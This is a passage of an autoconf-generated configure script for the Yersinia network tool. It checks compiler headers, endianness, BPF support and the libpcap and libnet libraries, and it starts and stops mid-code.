test -z "$ac_cv_path_EGREP"; then as_fn_error $? "no acceptable egrep could be found in $PATH$PATH_SEPARATOR/usr/xpg4/bin" "$LINENO" 5 fi else ac_cv_path_EGREP=$EGREP fi fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_path_EGREP" >&5 $as_echo "$ac_cv_path_EGREP" >&6; } EGREP="$ac_cv_path_EGREP" { $as_echo "$as_me:${as_lineno-$LINENO}: checking for ANSI C header files" >&5 $as_echo_n "checking for ANSI C header files... " >&6; } if ${ac_cv_header_stdc+:} false; then : $as_echo_n "(cached) " >&6 else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include #include #include #include int main () { ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : ac_cv_header_stdc=yes else ac_cv_header_stdc=no fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext if test $ac_cv_header_stdc = yes; then # SunOS 4.x string.h does not declare mem*, contrary to ANSI. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include _ACEOF if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | $EGREP "memchr" >/dev/null 2>&1; then : else ac_cv_header_stdc=no fi rm -f conftest* fi if test $ac_cv_header_stdc = yes; then # ISC 2.0.2 stdlib.h does not declare free, contrary to ANSI. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include _ACEOF if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | $EGREP "free" >/dev/null 2>&1; then : else ac_cv_header_stdc=no fi rm -f conftest* fi if test $ac_cv_header_stdc = yes; then # /bin/cc in Irix-4.0.5 gets non-ANSI ctype macros unless using -ansi. if test "$cross_compiling" = yes; then : : else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include #include #if ((' ' & 0x0FF) == 0x020) # define ISLOWER(c) ('a' <= (c) && (c) <= 'z') # define TOUPPER(c) (ISLOWER(c) ? 'A' + ((c) - 'a') : (c)) #else # define ISLOWER(c) \ (('a' <= (c) && (c) <= 'i') \ || ('j' <= (c) && (c) <= 'r') \ || ('s' <= (c) && (c) <= 'z')) # define TOUPPER(c) (ISLOWER(c) ? ((c) | 0x40) : (c)) #endif #define XOR(e, f) (((e) && !(f)) || (!(e) && (f))) int main () { int i; for (i = 0; i < 256; i++) if (XOR (islower (i), ISLOWER (i)) || toupper (i) != TOUPPER (i)) return 2; return 0; } _ACEOF if ac_fn_c_try_run "$LINENO"; then : else ac_cv_header_stdc=no fi rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \ conftest.$ac_objext conftest.beam conftest.$ac_ext fi fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_header_stdc" >&5 $as_echo "$ac_cv_header_stdc" >&6; } if test $ac_cv_header_stdc = yes; then $as_echo "#define STDC_HEADERS 1" >>confdefs.h fi # Extract the first word of "makedepend", so it can be a program name with args. set dummy makedepend; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if ${ac_cv_path_MAKEDEPEND+:} false; then : $as_echo_n "(cached) " >&6 else case $MAKEDEPEND in [\\/]* | ?:[\\/]*) ac_cv_path_MAKEDEPEND="$MAKEDEPEND" # Let the user override the test with a path. ;; *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_path_MAKEDEPEND="$as_dir/$ac_word$ac_exec_ext" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS ;; esac fi MAKEDEPEND=$ac_cv_path_MAKEDEPEND if test -n "$MAKEDEPEND"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MAKEDEPEND" >&5 $as_echo "$MAKEDEPEND" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking if unaligned accesses fail" >&5 $as_echo_n "checking if unaligned accesses fail... " >&6; } if ${ac_cv_lbl_unaligned_fail+:} false; then : $as_echo_n "(cached) " >&6 else case "$host_cpu" in # # These are CPU types where: # # the CPU faults on an unaligned access, but at least some # OSes that support that CPU catch the fault and simulate # the unaligned access (e.g., Alpha/{Digital,Tru64} UNIX) - # the simulation is slow, so we don't want to use it; # # the CPU, I infer (from the old # # XXX: should also check that they don't do weird things (like on arm) # # comment) doesn't fault on unaligned accesses, but doesn't # do a normal unaligned fetch, either (e.g., presumably, ARM); # # for whatever reason, the test program doesn't work # (this has been claimed to be the case for several of those # CPUs - I don't know what the problem is; the problem # was reported as "the test program dumps core" for SuperH, # but that's what the test program is *supposed* to do - # it dumps core before it writes anything, so the test # for an empty output file should find an empty output # file and conclude that unaligned accesses don't work). # # This run-time test won't work if you're cross-compiling, so # in order to support cross-compiling for a particular CPU, # we have to wire in the list of CPU types anyway, as far as # I know, so perhaps we should just have a set of CPUs on # which we know it doesn't work, a set of CPUs on which we # know it does work, and have the script just fail on other # cpu types and update it when such a failure occurs. # alpha*|arm*|bfin*|hp*|mips*|sh*|sparc*|ia64|nv1) ac_cv_lbl_unaligned_fail=yes ;; *) cat >conftest.c < # include # include unsigned char a[5] = { 1, 2, 3, 4, 5 }; main() { unsigned int i; pid_t pid; int status; /* avoid "core dumped" message */ pid = fork(); if (pid < 0) exit(2); if (pid > 0) { /* parent */ pid = waitpid(pid, &status, 0); if (pid < 0) exit(3); exit(!WIFEXITED(status)); } /* child */ i = *(unsigned int *)&a[1]; printf("%d\n", i); exit(0); } EOF ${CC-cc} -o conftest $CFLAGS $CPPFLAGS $LDFLAGS \ conftest.c $LIBS >/dev/null 2>&1 if test ! -x conftest ; then ac_cv_lbl_unaligned_fail=yes else ./conftest >conftest.out if test ! -s conftest.out ; then ac_cv_lbl_unaligned_fail=yes else ac_cv_lbl_unaligned_fail=no fi fi rm -f -r conftest* core core.conftest ;; esac fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lbl_unaligned_fail" >&5 $as_echo "$ac_cv_lbl_unaligned_fail" >&6; } if test $ac_cv_lbl_unaligned_fail = yes ; then $as_echo "#define LBL_ALIGN 1" >>confdefs.h fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for main in -lsocket" >&5 $as_echo_n "checking for main in -lsocket... " >&6; } if ${ac_cv_lib_socket_main+:} false; then : $as_echo_n "(cached) " >&6 else ac_check_lib_save_LIBS=$LIBS LIBS="-lsocket $LIBS" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { return main (); ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : ac_cv_lib_socket_main=yes else ac_cv_lib_socket_main=no fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LIBS=$ac_check_lib_save_LIBS fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_socket_main" >&5 $as_echo "$ac_cv_lib_socket_main" >&6; } if test "x$ac_cv_lib_socket_main" = xyes; then : cat >>confdefs.h <<_ACEOF #define HAVE_LIBSOCKET 1 _ACEOF LIBS="-lsocket $LIBS" fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for main in -lresolv" >&5 $as_echo_n "checking for main in -lresolv... " >&6; } if ${ac_cv_lib_resolv_main+:} false; then : $as_echo_n "(cached) " >&6 else ac_check_lib_save_LIBS=$LIBS LIBS="-lresolv $LIBS" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { return main (); ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : ac_cv_lib_resolv_main=yes else ac_cv_lib_resolv_main=no fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LIBS=$ac_check_lib_save_LIBS fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_resolv_main" >&5 $as_echo "$ac_cv_lib_resolv_main" >&6; } if test "x$ac_cv_lib_resolv_main" = xyes; then : cat >>confdefs.h <<_ACEOF #define HAVE_LIBRESOLV 1 _ACEOF LIBS="-lresolv $LIBS" fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for main in -lnsl" >&5 $as_echo_n "checking for main in -lnsl... " >&6; } if ${ac_cv_lib_nsl_main+:} false; then : $as_echo_n "(cached) " >&6 else ac_check_lib_save_LIBS=$LIBS LIBS="-lnsl $LIBS" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { return main (); ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : ac_cv_lib_nsl_main=yes else ac_cv_lib_nsl_main=no fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LIBS=$ac_check_lib_save_LIBS fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_nsl_main" >&5 $as_echo "$ac_cv_lib_nsl_main" >&6; } if test "x$ac_cv_lib_nsl_main" = xyes; then : cat >>confdefs.h <<_ACEOF #define HAVE_LIBNSL 1 _ACEOF LIBS="-lnsl $LIBS" fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for main in -lrt" >&5 $as_echo_n "checking for main in -lrt... " >&6; } if ${ac_cv_lib_rt_main+:} false; then : $as_echo_n "(cached) " >&6 else ac_check_lib_save_LIBS=$LIBS LIBS="-lrt $LIBS" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { return main (); ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : ac_cv_lib_rt_main=yes else ac_cv_lib_rt_main=no fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LIBS=$ac_check_lib_save_LIBS fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_rt_main" >&5 $as_echo "$ac_cv_lib_rt_main" >&6; } if test "x$ac_cv_lib_rt_main" = xyes; then : cat >>confdefs.h <<_ACEOF #define HAVE_LIBRT 1 _ACEOF LIBS="-lrt $LIBS" fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for a complete set of pcap headers" >&5 $as_echo_n "checking for a complete set of pcap headers... " >&6; } possible_dirs="`eval echo -n ${includedir}` \ /usr/include /usr/include/pcap \ /usr/local/include /usr/local/include/pcap \ /usr/share/include /usr/share/include/pcap" # Check whether --with-pcap-includes was given. if test "${with_pcap_includes+set}" = set; then : withval=$with_pcap_includes; PCAP_DIR=$withval else PCAP_DIR=$possible_dirs fi pcap_dir="" for dir in $PCAP_DIR ; do if test -d $dir -a -r "$dir/pcap.h" ; then if test -n "$pcap_dir" -a "$pcap_dir" != "$dir"; then echo echo; echo more than one set found in: echo $pcap_dir echo $dir echo; echo please wipe out all unused pcap installations exit else pcap_dir="$dir" fi fi done if test -z "$pcap_dir" ; then echo no; echo !!! couldn\'t find a complete set of pcap headers exit else echo found $pcap_dir PCAP_INCLUDE="-I$pcap_dir" PCAP_LINK="-L`dirname $pcap_dir`/lib" fi if test "$PCAP_LINK" != "-L/usr/lib" ; then LIBS="$LIBS $PCAP_LINK" fi if test "$PCAP_INCLUDE" != "-I/usr/include" ; then CFLAGS="$CFLAGS $PCAP_INCLUDE" fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for pcap_lib_version in -lpcap" >&5 $as_echo_n "checking for pcap_lib_version in -lpcap... " >&6; } if ${ac_cv_lib_pcap_pcap_lib_version+:} false; then : $as_echo_n "(cached) " >&6 else ac_check_lib_save_LIBS=$LIBS LIBS="-lpcap $LIBS" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ /* Override any GCC internal prototype to avoid an error. Use char because int might match the return type of a GCC builtin and then its argument prototype would still apply. */ #ifdef __cplusplus extern "C" #endif char pcap_lib_version (); int main () { return pcap_lib_version (); ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : ac_cv_lib_pcap_pcap_lib_version=yes else ac_cv_lib_pcap_pcap_lib_version=no fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LIBS=$ac_check_lib_save_LIBS fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_pcap_pcap_lib_version" >&5 $as_echo "$ac_cv_lib_pcap_pcap_lib_version" >&6; } if test "x$ac_cv_lib_pcap_pcap_lib_version" = xyes; then : have_libpcap=yes else have_libpcap=no fi if test $have_libpcap = no; then { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Ouch!! Libpcap (at least 0.8.x) library is needed in order to compile Yersinia!!..." >&5 $as_echo "$as_me: WARNING: Ouch!! Libpcap (at least 0.8.x) library is needed in order to compile Yersinia!!..." >&2;} as_fn_error $? "...i'm sure you'll take the right decision." "$LINENO" 5 fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for pcap_dump_flush in -lpcap" >&5 $as_echo_n "checking for pcap_dump_flush in -lpcap... " >&6; } if ${ac_cv_lib_pcap_pcap_dump_flush+:} false; then : $as_echo_n "(cached) " >&6 else ac_check_lib_save_LIBS=$LIBS LIBS="-lpcap $LIBS" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ /* Override any GCC internal prototype to avoid an error. Use char because int might match the return type of a GCC builtin and then its argument prototype would still apply. */ #ifdef __cplusplus extern "C" #endif char pcap_dump_flush (); int main () { return pcap_dump_flush (); ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : ac_cv_lib_pcap_pcap_dump_flush=yes else ac_cv_lib_pcap_pcap_dump_flush=no fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LIBS=$ac_check_lib_save_LIBS fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_pcap_pcap_dump_flush" >&5 $as_echo "$ac_cv_lib_pcap_pcap_dump_flush" >&6; } if test "x$ac_cv_lib_pcap_pcap_dump_flush" = xyes; then : $as_echo "#define HAVE_PCAP_DUMP_FLUSH 1" >>confdefs.h fi disable_bpf=no have_bpf=no { $as_echo "$as_me:${as_lineno-$LINENO}: checking for BPF device sending support" >&5 $as_echo_n "checking for BPF device sending support... " >&6; } if test "$cross_compiling" = yes; then : { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} as_fn_error $? "cannot run test program while cross compiling See \`config.log' for more details" "$LINENO" 5; } else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include #include #include #include int main(int argc, char *argv[]) { int fd; fd = open("/dev/bpf0", O_RDONLY, 0); /* if we opened it, we're good */ if (fd > 1) exit(0); /* if we got EBUSY or permission denied it exists, so we're good */ if (fd < 0 && (errno == EBUSY || errno == 13)) exit(0); /* else suck, no good */ exit(-1); } _ACEOF if ac_fn_c_try_run "$LINENO"; then : if test $disable_bpf = no ; then $as_echo "#define HAVE_BPF 1" >>confdefs.h { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5 $as_echo "yes" >&6; } have_bpf=yes else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi fi rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \ conftest.$ac_objext conftest.beam conftest.$ac_ext fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for a complete set of libnet headers" >&5 $as_echo_n "checking for a complete set of libnet headers... " >&6; } possible_dirs="`eval echo -n ${includedir}` \ /usr/include /usr/include/libnet \ /usr/local/include /usr/local/include/libnet \ /usr/share/include /usr/share/include/libnet" possible_libnet_config_dirs="/usr /usr/local /opt" # Check whether --with-libnet-includes was given. if test "${with_libnet_includes+set}" = set; then : withval=$with_libnet_includes; LIBNET_DIR=$withval LIBNET_CONFIG_DIR=$withval else LIBNET_DIR=$possible_dirs LIBNET_CONFIG_DIR=$possible_libnet_config_dirs fi libnet_dir="" for dir in $LIBNET_DIR ; do if test -d $dir -a -r "$dir/libnet.h" ; then if test -n "$libnet_dir" -a "$libnet_dir" != "$dir"; then echo echo; echo more than one set found in: echo $libnet_dir echo $dir echo; echo please wipe out all unused libnet installations exit else libnet_dir="$dir" fi fi done for dir in $LIBNET_CONFIG_DIR ; do if test -d $dir -a -r "$dir/bin/libnet-config" ; then libnet_config_dir="$dir/bin" fi done if test -z "$libnet_dir" ; then echo no; echo !!! couldn\'t find a complete set of libnet headers exit else echo found $libnet_dir LIBNET_INCLUDE="-I$libnet_dir" LIBNET_LINK="-L`dirname $libnet_dir`/lib" LIBNET_CONFIG="$libnet_config_dir/libnet-config" fi if test "$LIBNET_LINK" != "-L/usr/lib" ; then LIBS="$LIBS $LIBNET_LINK" fi if test "$LIBNET_INCLUDE" != "-I/usr/include" ; then CFLAGS="$CFLAGS $LIBNET_INCLUDE" fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for libnet_build_stp_conf in -lnet" >&5 $as_echo_n "checking for libnet_build_stp_conf in -lnet... " >&6; } if ${ac_cv_lib_net_libnet_build_stp_conf+:} false; then : $as_echo_n "(cached) " >&6 else ac_check_lib_save_LIBS=$LIBS LIBS="-lnet $LIBS" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ /* Override any GCC internal prototype to avoid an error. Use char because int might match the return type of a GCC builtin and then its argument prototype would still apply. */ #ifdef __cplusplus extern "C" #endif char libnet_build_stp_conf (); int main () { return libnet_build_stp_conf (); ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : ac_cv_lib_net_libnet_build_stp_conf=yes else ac_cv_lib_net_libnet_build_stp_conf=no fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LIBS=$ac_check_lib_save_LIBS fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_net_libnet_build_stp_conf" >&5 $as_echo "$ac_cv_lib_net_libnet_build_stp_conf" >&6; } if test "x$ac_cv_lib_net_libnet_build_stp_conf" = xyes; then : have_libnet=yes else have_libnet=no fi if test $have_libnet = no; then { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Ouch!! Libnet library 1.1.2 is needed in order to compile Yersinia!!..." >&5 $as_echo "$as_me: WARNING: Ouch!! Libnet library 1.1.2 is needed in order to compile Yersinia!!..." >&2;} as_fn_error $? "...i'm sure you'll take the right decision." "$LINENO" 5 fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking if libnet is at least version 1.1.2" >&5 $as_echo_n "checking if libnet is at least version 1.1.2... " >&6; } if test "$cross_compiling" = yes; then : { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; }; have_libnet=no else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include #include #define HOPE_MAJOR 1 #define HOPE_MEDIUM 1 #define HOPE_MINOR 2 int main() { unsigned int major,medium,minor,current, desired; desired = HOPE_MAJOR*10000 + HOPE_MEDIUM*100 + HOPE_MINOR; sscanf( LIBNET_VERSION, "%d.%d.%d", &major, &medium, &minor); current = major*10000 + medium*100 + minor; if ( current >= desired ) exit(0); exit(1); } _ACEOF if ac_fn_c_try_run "$LINENO"; then : { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5 $as_echo "yes" >&6; }; have_libnet=yes else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; }; have_libnet=no fi rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \ conftest.$ac_objext conftest.beam conftest.$ac_ext fi if test $have_libnet = no; then { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Ouch!! At least Libnet library version 1.1.2 is needed in order to compile Yersinia!!..." >&5 $as_echo "$as_me: WARNING: Ouch!! At least Libnet library version 1.1.2 is needed in order to compile Yersinia!!..." >&2;} as_fn_error $? "...i'm sure you'll take the right decision." "$LINENO" 5 fi for ac_header in sys/sockio.h sys/ioctl.h net/if.h do : as_ac_Header=`$as_echo "ac_cv_header_$ac_header" | $as_tr_sh` ac_fn_c_check_header_compile "$LINENO" "$ac_header" "$as_ac_Header" " #if HAVE_SYS_SOCKIO_H #include #endif " if eval test \"x\$"$as_ac_Header"\" = x"yes"; then : cat >>confdefs.h <<_ACEOF #define `$as_echo "HAVE_$ac_header" | $as_tr_cpp` 1 _ACEOF fi done # On IRIX 5.3, sys/types and inttypes.h are conflicting. for ac_header in sys/types.h sys/stat.h stdlib.h string.h memory.h strings.h \ inttypes.h stdint.h unistd.h do : as_ac_Header=`$as_echo "ac_cv_header_$ac_header" | $as_tr_sh` ac_fn_c_check_header_compile "$LINENO" "$ac_header" "$as_ac_Header" "$ac_includes_default " if eval test \"x\$"$as_ac_Header"\" = x"yes"; then : cat >>confdefs.h <<_ACEOF #define `$as_echo "HAVE_$ac_header" | $as_tr_cpp` 1 _ACEOF fi done for ac_header in bstring.h sys/time.h sys/param.h netinet/in_systm.h inttypes.h do : as_ac_Header=`$as_echo "ac_cv_header_$ac_header" | $as_tr_sh` ac_fn_c_check_header_mongrel "$LINENO" "$ac_header" "$as_ac_Header" "$ac_includes_default" if eval test \"x\$"$as_ac_Header"\" = x"yes"; then : cat >>confdefs.h <<_ACEOF #define `$as_echo "HAVE_$ac_header" | $as_tr_cpp` 1 _ACEOF fi done for ac_header in netinet/in_system.h sys/wait.h do : as_ac_Header=`$as_echo "ac_cv_header_$ac_header" | $as_tr_sh` ac_fn_c_check_header_mongrel "$LINENO" "$ac_header" "$as_ac_Header" "$ac_includes_default" if eval test \"x\$"$as_ac_Header"\" = x"yes"; then : cat >>confdefs.h <<_ACEOF #define `$as_echo "HAVE_$ac_header" | $as_tr_cpp` 1 _ACEOF fi done { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether time.h and sys/time.h may both be included" >&5 $as_echo_n "checking whether time.h and sys/time.h may both be included... " >&6; } if ${ac_cv_header_time+:} false; then : $as_echo_n "(cached) " >&6 else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include #include #include int main () { if ((struct tm *) 0) return 0; ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : ac_cv_header_time=yes else ac_cv_header_time=no fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_header_time" >&5 $as_echo "$ac_cv_header_time" >&6; } if test $ac_cv_header_time = yes; then $as_echo "#define TIME_WITH_SYS_TIME 1" >>confdefs.h fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether byte ordering is bigendian" >&5 $as_echo_n "checking whether byte ordering is bigendian... " >&6; } if ${ac_cv_c_bigendian+:} false; then : $as_echo_n "(cached) " >&6 else ac_cv_c_bigendian=unknown # See if we're dealing with a universal compiler. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #ifndef __APPLE_CC__ not a universal capable compiler #endif typedef int dummy; _ACEOF if ac_fn_c_try_compile "$LINENO"; then : # Check for potential -arch flags. It is not universal unless # there are at least two -arch flags with different values. ac_arch= ac_prev= for ac_word in $CC $CFLAGS $CPPFLAGS $LDFLAGS; do if test -n "$ac_prev"; then case $ac_word in i?86 | x86_64 | ppc | ppc64) if test -z "$ac_arch" || test "$ac_arch" = "$ac_word"; then ac_arch=$ac_word else ac_cv_c_bigendian=universal break fi ;; esac ac_prev= elif test "x$ac_word" = "x-arch"; then ac_prev=arch fi done fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext if test $ac_cv_c_bigendian = unknown; then # See if sys/param.h defines the BYTE_ORDER macro. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include #include int main () { #if ! (defined BYTE_ORDER && defined BIG_ENDIAN \ && defined LITTLE_ENDIAN && BYTE_ORDER && BIG_ENDIAN \ && LITTLE_ENDIAN) bogus endian macros #endif ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : # It does; now see whether it defined to BIG_ENDIAN or not. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include #include int main () { #if BYTE_ORDER != BIG_ENDIAN not big endian #endif ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : ac_cv_c_bigendian=yes else ac_cv_c_bigendian=no fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext fi if test $ac_cv_c_bigendian = unknown; then # See if defines _LITTLE_ENDIAN or _BIG_ENDIAN (e.g., Solaris). cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include int main () { #if ! (defined _LITTLE_ENDIAN || defined _BIG_ENDIAN) bogus endian macros #endif ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : # It does; now see whether it defined to _BIG_ENDIAN or not. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include int main () { #ifndef _BIG_ENDIAN not big endian #endif ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : ac_cv_c_bigendian=yes else ac_cv_c_bigendian=no fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext fi if test $ac_cv_c_bigendian = unknown; then # Compile a test program. if test "$cross_compiling" = yes; then : # Try to guess by grepping values from an object file. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ short int ascii_mm[] = { 0x4249, 0x4765, 0x6E44, 0x6961, 0x6E53, 0x7953, 0 }; short int ascii_ii[] = { 0x694C, 0x5454, 0x656C, 0x6E45, 0x6944, 0x6E61, 0 }; int use_ascii (int i) { return ascii_mm[i] + ascii_ii[i]; } short int ebcdic_ii[] = { 0x89D3, 0xE3E3, 0x8593, 0x95C5, 0x89C4, 0x9581, 0 }; short int ebcdic_mm[] = { 0xC2C9, 0xC785, 0x95C4, 0x8981, 0x95E2, 0xA8E2, 0 }; int use_ebcdic (int i) { return ebcdic_mm[i] + ebcdic_ii[i]; } extern int foo; int main () { return use_ascii (foo) == use_ebcdic (foo); ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : if grep BIGenDianSyS conftest.$ac_objext >/dev/null; then ac_cv_c_bigendian=yes fi if grep LiTTleEnDian conftest.$ac_objext >/dev/null ; then if test "$ac_cv_c_bigendian" = unknown; then ac_cv_c_bigendian=no else # finding both strings is unlikely to happen, but who knows? ac_cv_c_bigendian=unknown fi fi fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ $ac_includes_default int main () { /* Are we little or big endian? From Harbison&Steele. */ union { long int l; char c[sizeof (long int)]; } u; u.l = 1; return u.c[sizeof (long int) - 1] == 1; ; return 0; } _ACEOF if ac_fn_c_try_run "$LINENO"; then : ac_cv_c_bigendian=no else ac_cv_c_bigendian=yes fi rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \ conftest.$ac_objext conftest.beam conftest.$ac_ext fi fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_c_bigendian" >&5 $as_echo "$ac_cv_c_bigendian" >&6; } case $ac_cv_c_bigendian in #( yes) $as_echo "#define WORDS_BIGENDIAN 1" >>confdefs.h ;; #( no) ;; #( universal) $as_echo "#define AC_APPLE_UNIVERSAL_BUILD 1" >>confdefs.h ;; #( *) as_fn_error $? "unknown endianness presetting ac_cv_c_bigendian=no (or yes) will help" "$LINENO" 5 ;; esac { $as_echo "$as_me:${as_lineno-$LINENO}: checking if struct sockaddr has sa_len field" >&5 $as_echo_n "checking if struct sockaddr has sa_len field... " >&6; } cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include #include int main () { struct sockaddr sa; sa.sa_len; ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5 $as_echo "yes" >&6; }; $as_echo "#define HAVE_SOCKADDR_SA_LEN 1" >>confdefs.h else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; }; fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext case "$target_os" in *linux*) $as_echo "#define LINUX 1" >>confdefs.h $as_echo "#define PTHREAD_NEED_TESTCANCEL 1" >>confdefs.h case "`uname -r`" in 2.6*) $as_echo "#define LINUX_26 1" >>confdefs.h ;; 2.5*) $as_echo "#define LINUX_25 1" >>confdefs.h ;; 2.4*) $as_echo "#define LINUX_24 1" >>confdefs.h ;; 2.3*) $as_echo "#define LINUX_23 1" >>confdefs.h ;; 2.2*) $as_echo "#define LINUX_22 1" >>confdefs.h ;; 2.1*) $as_echo "#define LINUX_21 1" >>confdefs.h ;; 2.0*) $as_echo "#define LINUX_20 1" >>confdefs.h ;; esac ;; *solaris*) $as_echo "#define SOLARIS 1" >>confdefs.h case "`uname -r`" in 5.5.1) $as_echo "#define SOLARIS_251 1" >>confdefs.h ;; 5.6*) $as_echo "#define SOLARIS_26 1" >>confdefs.h ;; 5.7*) $as_echo "#define SOLARIS_27 1" >>confdefs.h ;; 5.8*) $as_echo "#define SOLARIS_27 1" >>confdefs.h ;; 5.9*) $as_echo "#define SOLARIS_27 1" >>confdefs.h ;; esac ;; *freebsd*) $as_echo "#define FREEBSD 1" >>confdefs.h $as_echo "#define STRANGE_BSD_BYTE 